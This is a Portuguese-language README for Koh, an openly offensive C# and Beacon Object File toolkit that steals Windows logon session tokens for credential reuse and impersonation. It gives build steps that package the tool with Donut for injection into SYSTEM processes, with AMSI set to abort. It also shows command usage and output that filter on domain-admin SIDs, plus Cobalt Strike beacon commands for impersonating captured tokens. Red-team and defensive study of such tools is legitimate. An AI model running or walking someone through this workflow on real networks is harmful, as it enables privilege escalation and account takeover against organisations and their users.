
Captura tokens de sessão de logon do Windows através de vazamento de tokens para permitir reutilização de credenciais e impersonação, com integração BOF do Cobalt Strike para roubo de tokens pós-exploração.
Koh é um conjunto de ferramentas em C# e Beacon Object File (BOF) que permite a captura de material de credenciais de usuário por meio de vazamento proposital de tokens/sessões de logon.
Parte do código foi inspirada pelo projeto Internal-Monologue (sem licença) de Elad Shamir, bem como pelo KB180548. Para entender por que isso é possível e a abordagem do Koh, veja a seção Technical Background deste README.
Para uma explicação mais detalhada da motivação por trás do Koh e sua abordagem, veja o post Koh: The Token Stealer.
@harmj0y é o autor principal desta base de código. @tifkin_ ajudou com a abordagem, implementação do BOF e alguns mecanismos de token.
Koh está licenciado sob a licença BSD 3-Clause.
O "servidor" do Koh captura tokens e usa pipes nomeados para controle/comunicação. Isso pode ser encapsulado no Donut e injetado em qualquer processo de alta integridade SYSTEM (veja The Inline Shenanigans Bug).
Não planejamos liberar binários para o Koh, então você terá que compilar por conta própria :)
O Koh foi compilado contra .NET 4.7.2 e é compatível com o Visual Studio 2019 Community Edition. Basta abrir o arquivo .sln do projeto, escolher "Release" e compilar. O assembly Koh.exe e o PIC Koh.bin construído com Donut serão gerados no diretório principal. O blob Donut é compatível com x86/x64 e é construído com as seguintes opções usando a v0.9.3 do Donut em ./Misc/Donut.exe:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
A licença do Donut é BSD 3-clause.
### Uso
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - lista sessões de logon (não rede)
* **monitor** - monitora por novas/únicas sessões de logon (não rede)
* **capture** - captura um token único por SID encontrado para novas sessões de logon (não rede)
Os SIDs de grupo também podem ser fornecidos na linha de comando, fazendo com que o Koh monitore/capture apenas sessões de logon que contenham os SIDs de grupo especificados em suas informações de token negociado.
### Exemplo - Listando Sessões de Logon```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Apenas lista resultados que possuem o group SID de administradores do domínio (-512) em suas informações de token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Cliente Koh
O cliente utilizável atual é um Beacon Object File em `.\Clients\BOF\`. Carregue o script agressor `.\Clients\BOF\KohClient.cna` em seu cliente Cobalt Strike para habilitar o controle BOF do servidor Koh. O único requisito para usar tokens capturados é **SeImpersonatePrivilege**. O pipe nomeado de comunicação tem uma DACL "Everyone", mas usa uma senha compartilhada básica (super segura).
Para compilar do zero no Linux usando Mingw, veja o script `.\Clients\BOF\build.sh`. O único requisito (pelo menos no Debian) deve ser `apt-get install gcc-mingw-w64`
### Uso```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit